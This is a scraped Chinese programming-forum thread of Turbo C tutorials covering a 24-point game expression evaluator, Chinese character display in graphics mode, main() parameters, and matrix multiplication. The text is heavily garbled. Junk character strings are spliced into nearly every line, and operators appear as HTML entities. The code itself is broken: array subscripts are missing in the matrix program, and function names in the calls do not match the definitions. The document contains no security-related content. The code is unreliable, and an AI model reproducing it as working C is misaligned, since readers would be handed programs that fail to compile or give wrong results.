<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */  F/ _. C2 Q. g% @
int first(char c)
6 t5 H( u+ Z; ]{ int p;
3 ^: f6 M  f) _6 P3 Iswitch(c)
0 C2 \7 m* ?, r; e/ l" \8 [{ case '*': p=2; break;
3 M% e3 B- M* H7 }3 hcase '/': p=2; break;
4 V; p  q( B' e$ }case '+': p=1; break;
8 O' q$ V, T3 ~case '-': p=1; break;0 E; w$ o3 _- T0 q) W; m0 q3 v
case '(': p=0; break;8 T) f$ h: s* p- y4 c. g7 t6 p
case '=': p=-1; break;
4 [$ z+ {/ y  c5 [/ \& F}
* c" j# r2 H- t0 freturn(p);
3 d3 p: f  m7 J" z% Q' a2 j}
5 e: r9 f: j$ f7 q9 i4 X/* 此函数实现中缀到后缀的转换 */6 X4 z, v0 l6 w
/* M的值宏定义为20 */5 O  K3 H. a2 C: O
/* sp[]为表达式数组 */6 Z  |/ Y) ]; A2 a) h
int mid_last()2 [. F1 x  C: l7 E  H$ q+ @3 O
{ int i=0,j=0; char c,sm[M];
6 [, D$ R9 Q5 E/ y+ P, tc=s[0]; sm[0]='='; top=0;
; r6 R$ X% r  H+ Swhile(c!='\0')
3 H: ?1 P3 T7 g0 m- v{ if(islower(c)) sp[j++]=c;
% B) B/ X  W" W0 y# Yelse switch(c)
" `2 {( U6 g9 ~! ~# I* M5 I, p{ case '+':
7 n, ]0 S& [$ d3 M2 L, P0 O% ccase '-':0 o: k2 N7 m$ t8 i2 y# i  {
case '*':
1 S. x% E& ~& Q) qcase '/': while(first(c)&lt;=first(sm[top]))
% m* \% }$ C2 N* `, zsp[j++]=sm[top--];
: U: e( l* q  i' Nsm[++top]=c; break;+ ~3 m) W9 H: ~0 G7 M
case '(': sm[++top]=c; break;
! _) S3 s2 `5 P3 J, K; dcase ')': while(sm[top]!='(')
; A2 O2 [  R9 gsp[j++]=sm[top--];# z% `( \# w# w5 C
top--; break;. F# c0 f8 G. I& l1 M% C- x
default :return(1);! U+ A# k& T* I8 v8 {1 ~
}5 N/ [" k0 U! }7 o
c=s[++i];5 l* a: L7 g- y5 S
}
7 O3 R, T: P7 fwhile(top&gt;0) sp[j++]=sm[top--];; a8 n6 M% k' V  E* V- ^7 L
sp[j]='\0'; return(0);* ?% [) Z8 F: y6 N
}
7 J5 p/ D( W- M6 G/* 由后缀表达式来计算表达式的值 */2 C# |% r* D' [& [8 f% ~) @
int calc()
. O! a* |$ K8 X! s) }3 N( g9 o5 X8 d{ int i=0,sm[M],tr; char c;
8 }8 r8 l7 G3 x8 ?! M- e. }9 qc=sp[0]; top=-1;0 t* i, s) \) R) M6 D3 G8 H2 V0 Q
while(c!='\0')* i1 j* B! l0 J- [
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,2 M& y( V2 S4 Y( [
这样才可以更方便的处理非一位数,
+ F! T5 k0 W% c* E$ d& iver数组中存放着这些字母所代替的数*/( v, v* c$ e/ F2 b; w
else switch(c)
. V9 P9 L3 Z: }( m{ case '+': tr=sm[top--]; sm[top]+=tr; break;
1 S5 Y) H$ S; Y3 scase '-': tr=sm[top--]; sm[top]-=tr; break;: J$ A* Y& a) ?0 b( A6 f" y. x) `, `+ f
case '*': tr=sm[top--]; sm[top]*=tr; break;
) V7 `; o" S$ b6 k* Fcase '/': tr=sm[top--];sm[top]/=tr;break;
! G9 n2 X5 b( P. M' n" z$ U. I  Ndefault : return(1);
3 I2 D1 o: ~+ y0 h4 V}3 F3 c6 a8 E- c
c=sp[++i];; I, W+ k& q2 k
}! g4 H# {) @  Z3 b0 `) a" |; r
if(top&gt;0) return(1);0 b* `/ R5 l! B7 M7 u
else { result=sm[top]; return(0); }7 b; o8 j3 z  @6 \% k! s
}* @$ g% V& b/ U* a
</FONT>
6 K# E, C! X8 ]* w( m: W" J5 K  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。; s, n- N& W" R: H0 J' Z# s
& B$ Q, o2 Q" r* X! j( i; s% `- F& y& U
  最后我总结了一下这其中容易出错的地方——, A- T4 X8 c. @

2 }, h/ m4 P3 B  A# L  K  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。" W/ E- x# F9 p: C1 k: j
+ D' R1 Q) A& n3 |8 g7 |
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。& Q% y: C/ V  m8 v# b: F: H

- i% P7 m6 ^  x  B& X. w$ b* O  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
! m, Q' e( g) N0 g5 ]+ F% w- c& ^) }$ p) [4 N( ]
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。7 B4 M- F* w  O, e0 v- v+ G3 }" ]
+ T0 c4 F3 x; ], U
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。' p% S: \! ?1 W  ^" ?6 T; R

" T  j( H4 k( y6 b  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
5 [2 ~' ]; K9 z% ]9 W! Q" j) l3 W& n5 B7 t$ ~7 E
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。9 v+ A# t* A. c) F) t/ K
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>% S4 L2 a7 J% f, d+ h( S% [  I  c
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}6 ]# d/ Y7 D9 v) N5 d
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。* x; c, h# r+ }* N3 j" S
  汉字显示的第一步是打开字库文件。 1 }) `3 b! x5 @8 _7 T3 ~
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。& ~7 s2 n; y  `6 W/ ?& e
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)* G* ^) Y: k9 M9 D0 a% M# ?
{
+ q2 ^- n$ y' ^2 |/ H0 h: E3 S% uunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/, B; F- _; q0 B4 M. D
int rec,i1,i2,i3; /*z:space between;*/( q0 b! d/ ^" v8 N, j  f* m9 z6 b
long l; /*color:txt color*/
6 A$ \) F3 P2 l5 `6 E  ^char by[32]; /*p:HZ str*/
0 j) D6 o( G3 |6 Tif( handle&lt;0 ) return -1; while((i=*p++)!=0){/ m- }% U6 R6 }& \- M
if(i&gt;0xa1)
$ s; q6 o6 ^5 W0 ^5 z2 n0 D" zif(f==0){
1 `) u; g. y0 g; Z% ac1=(i-0xa1)&amp;0x07f;+ a( s$ g$ f+ o
f=1;
  a$ v8 V% w9 E4 Y" h}
1 [' @6 U; q& C' c& m0 ]: A( }& Celse{- A1 R- M% t* v
c2=(i-0xa1)&amp;0x07f;( [, q: {# C1 ^( o
f=0;
; Q0 h2 q# Q! W- u, H9 t6 h8 c) q& Arec=c1*94+c2;
( f+ p$ \! t* y8 ql=rec*32L;0 A1 A/ u9 e' H* E, L- Y* b! x
lseek(handle,l,SEEK_SET);' x, v! P: a( I5 u+ ]% i
read(handle,by,32);
7 h% |4 }" Q0 H) I# Wfor(i1=0;i1&lt;16;i1++)" S9 }% e2 e3 V* y# V- n, I
for(i2=0;i2&lt;2;i2++)
7 ~* e1 t9 O/ C* N; Cfor(i3=0;i3&lt;8;i3++)
6 a$ V' `; x$ c2 r5 o8 rif(GetBit(by[i1*2+i2],7-i3))) N+ c; T& S. q, K. u
putpixel(x+i2*8+i3,y+i1,color);
  r, I6 `, D$ r9 L$ f! F6 w/ Qx=x+z+16;% R+ S- d) f( |5 i. M# X
}
3 B+ [( @( j: g/ k3 M* P3 O}
& J5 J5 Y* F3 h- i$ {! g' q( Ireturn(x);
! v! O7 t: G3 ?- W+ @) V5 u}
$ l: U( u. d( ^; z7 ^# i" y& F函数GetBit定义如下:
5 g& W' _  a2 t* T  M  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。, }( a% W% f/ y, s5 a- j/ A- l
int GetBit(unsigned char c,int n)9 A8 j6 P! f( ]3 ~' s3 L  s
{! w& Z: [) A+ M% ^, y/ M
return((c&gt;&gt;n)&amp;1);! \% X9 O$ d! j  M/ P, b: {, N5 v& a
}
2 e6 L) v( {& a7 [1 j" c$ K6 D汉字显示结束,应该关闭字库文件。( R, k  d1 ]) @4 v+ r! q0 Q! s; P
void CloseHz(void)
- b, P9 s* `3 M3 }{5 }5 P( O! }. @4 N; a% Z
close( handle );3 [! v# l- m6 Z8 Z# k
}
2 |, q9 n; v% j- T. Q/ r#include "\Caic\Include\Hz.h"% }  U/ J' Y+ z3 ]+ Q& s# @
#include <GRAPHICS.H>$ _& l9 s+ t" o# Z2 }/ U2 l
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
3 `# Y# `: ?# _7 ^' uconst char* HzStr = "苦丁香C语言辅助学习软件";
& W( l* f! T) I! Z4 ovoid main(){
7 L) e- g7 t* b0 iint gr=DETECT,gm;- \3 X& c9 {  y! r
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
# S  Q( T' ^# ^: f/ r/ S8 O! E- ]' ]OpenHz( Hz16Path );
0 N+ c! B! z4 J/ `Wrt16Hz(20,20,4,RED,HzStr);
( I) _. l8 e6 q, t: y) yCloseHz();. t8 B+ Z  D  r6 K; h
getch();
+ S: K, V9 U" D- iclosegraph();
5 j$ m. ?# h( T; w  W}显示24点阵及放大汉字
* H) J9 g& P+ F: S$ @$ M3 `  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。% W$ o5 {: b( ]$ f8 E
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。. N2 B- a4 X* ]# }4 W
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
& t' L$ ~6 ~& L* V4 x* x{
- K9 d9 y$ p% p* x- tunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/$ M2 U) {) g! `+ J$ z
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
  E3 t8 e5 a/ ?: Along l; /*color:汉字颜色*/% B9 E$ J$ H. a7 D2 V' A
char by[72]; /*m: x 方向的放大倍数*/
: D! e# }! Y: _( k; M/*n: y 方向的放大倍数*/
" }* Z$ `% O. d0 pif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){7 P: L) k/ y4 r: j
if(i&gt;0xa1)
" Z; n4 ^& y' u& {4 c# ]: fif(f==0){- R; m6 o9 K! ~: P( O+ D* L/ `
c1=(i-0xa1)&amp;0x7f;9 B* D' C& S  g3 u9 d) U& t% I
f=1;
; `6 ^- M  I1 P% }5 q; I' N/ b}! ]4 w2 M7 L/ X
else{: k5 _  E: L6 w# _" t3 x) l
c2=(i-0xa1)&amp;0x7f;
! o( l6 V  c! y6 Yf=0;( y* a& F8 x" ]& y( d. l" x
rec=(c1-15)*94+c2;4 E& h' X& J% C* ?& ?4 _
l=rec*72L;- H; ]5 I7 i$ D/ C- c/ V. N
lseek(handle,l,SEEK_SET);& k1 ^1 m$ ]" F- j/ s
read(handle,by,72);$ B# x" i6 B8 ^3 u
for(i1=0;i1&lt;24*m;i1=i1+m)8 h4 y0 u" g! P' L1 W0 _
for(i4=0;i4<M;I4++)
# O# X# M3 Y8 j for(i2=0;i2&lt;=2;i2++)
1 `4 J( ~/ [$ hfor(i3=0;i3&lt;8;i3++)
6 y" ~) A# }) u5 B) i7 w& Tif(GetBit(by[i1/m*3+i2],7-i3))$ H3 R( O$ h0 V0 P
for(i5=0;i5<N;I5++)
1 R4 Q8 T0 @- P putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);9 D) T/ M. ~6 I' [8 G
x=x+24*m+z;5 g5 t) B$ V. v: p0 J, ~
}
) n8 `& G, P! L. @/ t. _4 F* G( d}
4 L8 G0 Y6 H' P) _return(x);
, u; H- Z( }. s. k0 ^  @. Y} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
5 ~* s: j( r7 k" O. f3 j#include <GRAPHICS.H>: ^7 ]' {7 r, w( x6 h( X& Z5 [5 I
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
3 H, n& t0 g5 x' ?% e$ C  _const char* HzStr = "苦丁香C语言辅助学习软件";
# H% p* A* L* ^! r# Uvoid main(){
( n# r8 r; A( M  iint gr=DETECT,gm;
$ f0 q* n" N5 P8 o- ?5 R. I6 [9 ~initgraph(&amp;gr,gm,"\\Caic\\Bgi");
( s$ [. u, R+ _" S6 M" S+ E& KOpenHz( Hz24Path );3 c( d& G- m% n+ {$ o" K
Wrt24Hz(20,20, /*先是在(x,y)*/
/ `! l1 j9 y  u5 i$ E* l% M4, /*汉字间的空格为4*/
! K  [4 l9 R, Y3 ?: o6 d: A9 H, p% RRED, /*用红色显示*/
/ S1 H4 b8 |* g; `4 Q2 v8 b2, /*x 方向放大2倍*/0 P7 a' b& k+ e! u4 J
4, /*y 方向放大4倍*/6 ~8 _$ L5 H. }2 d5 R) {! u2 h
HzStr); /*显示字符串*/7 c  w9 J/ H: g; w; |$ j
CloseHz();" t& a3 h  a* u$ u
getch();
) a6 Z' n+ G2 _6 t& Aclosegraph();2 ~& F& E& L3 B9 m' L2 e0 H" ^! V
} 8 Y# [$ [4 z; S1 w& k
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
" ?- B, K1 t5 k2 q0 J! Y  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。- ?: H: i( N. L" m( E3 U- n
1. main() 参数! @9 `5 H/ \7 K0 P# z% u- k
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
4 G# ^5 v& v$ O5 U6 `5 v  * argc: 整数,为传给main()的命令行参数个数。  K5 N. ^0 z$ h# c0 c
  * argv: 字符串数组。! a& W( [% k; x" k* H
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
1 M5 M; O- U6 j1 r对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
' e1 {& u1 R- W$ h. o/ d' x...: z; f5 K9 u+ b8 T; O3 t5 u* l' _1 y
argv[argc]为NULL。
% h3 E. m! b3 Q8 P' l, ~  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
# p) G: j+ z6 ^, ]9 S, L值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
6 A4 [4 q/ ~7 M4 K) L0 S#include&lt;stdio.h&gt;' B2 ~. ^% A3 |  V( A% a
#include&lt;conio.h&gt;
! r8 t& E. v+ c. s#define X 3
, r7 G1 H+ G; J+ a/ x9 B#define Y 3</P><>int a[X][Y];7 K  u$ I* J+ K1 B6 R
int b[X][Y];/ N, Q, ?* p0 S
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);% n. o' v# ?- T! {
main()" F5 \, C, j4 {
{$ s' m% c4 T, S2 U* T
int i,j,temp;
2 m' b+ u5 S  b6 }& Mclrscr();
2 H# n; s; r0 k( C8 ?printf("lease input int matrix b[%d][%d]\n",X,Y);$ y6 c0 j8 T% b8 c& q6 W# f
for(i=0;i&lt;Y;i++)* l, q' G/ x, K: d
for(j=0;j&lt;Y;j++){
; ?9 K. V$ n7 v9 c# n6 r4 J6 w* Lscanf("%d",&amp;temp);- D: W% b2 Z8 V! ^2 U7 q
b[j]=temp;
& [/ e5 q( z6 F9 i}
% s# [, }9 J: Z" Z& t% Vprintf("lease input int matrix c[%d][%d]\n",X,Y);
0 j0 N- q. x0 gfor(i=0;i&lt;X;i++)
, k$ @! ~( H3 {+ T( J9 Lfor(j=0;j&lt;Y;j++){5 \% S) k  J8 b3 U8 {
scanf("%d",&amp;temp);' s, M; K, d- G# V
c[j]=temp;
/ c1 t  T, }2 M6 o}+ i4 ~. a; h: I3 g3 h
matrix(b,c);
8 \1 M& O4 X) q, v! ?6 iprintf("Now print resource matrix b[%d][%d]=",X,Y);
$ f9 m* b: {% M) \9 X/ U6 kfor(i=0;i&lt;X;i++){
2 N" e- ^8 ?4 Rprintf("\n");
" t- ^9 t- e; R/ rfor(j=0;j&lt;Y;j++)
8 N4 a- l* H! h9 ^6 V$ }+ w* kprintf("%d ",b[j]);
3 ~' j9 j( {& |3 I  a& }}( D6 n: c% E- _0 o: K
printf("\n");' D! n: t2 g% b9 [8 f8 B) a
printf("Now print resource matrix c[%d][%d]=",X,Y);
! ?, F) C, @9 _2 `for(i=0;i&lt;X;i++){& L; t6 {0 z# t  c
printf("\n");
8 J' Z/ g3 t) V. \for(j=0;j&lt;Y;j++)
0 H6 z1 ?5 n  q1 V  ~. Cprintf("%d ",c[j]);# T/ s! v- F/ a% B2 c: V
}
# n7 W6 ]2 a1 j# Y- \, Iprintf("\n");4 D7 d  @; \2 I
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
- Z5 n" a9 j( ~+ b: Y; Z& Ufor(i=0;i&lt;X;i++){
* @7 j( b5 |" }) A' E" Aprintf("\n");
' Y' n9 e" @$ M: Z" rfor(j=0;j&lt;Y;j++)! C, o& }# }' k! Y
printf("%d ",a[j]);& a. \, B! i/ T0 ?/ G# O: v
}
' K2 `* \7 ~* k1 o8 x% u, F8 Ygetch();
' A& P2 }: ]3 d6 Q5 Q# x3 Breturn 0;
9 @$ r" O& i: E1 Z}
/ |. R6 Y0 _2 w# v* o/********************************************************************// D; f2 I6 ~3 c: I: Z$ `
void matrix(int b[][X],int c[][Y])
. A9 O  Q! _1 R. v/ I- I) }{% f3 o! b" H) e, [6 c
int i,j,k,temp;
, r" L5 W% _4 \+ x# X1 C$ xfor(i=0;i&lt;X;i++)
, z3 Z$ q  D) P' R1 Lfor(j=0;j&lt;Y;j++){
: C0 L2 P3 a6 pfor(k=0;k&lt;Y;k++)
# H3 i5 |* e. h( f& Ua[j]+=b[k]*c[k][j];
$ v& B  Q3 s" Y0 Q% y# U  @}& a6 l1 G( t. ~$ F2 Q% |& A, y' |  _
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-9-4 12:56 , Processed in 0.635847 second(s), 89 queries .

回顶部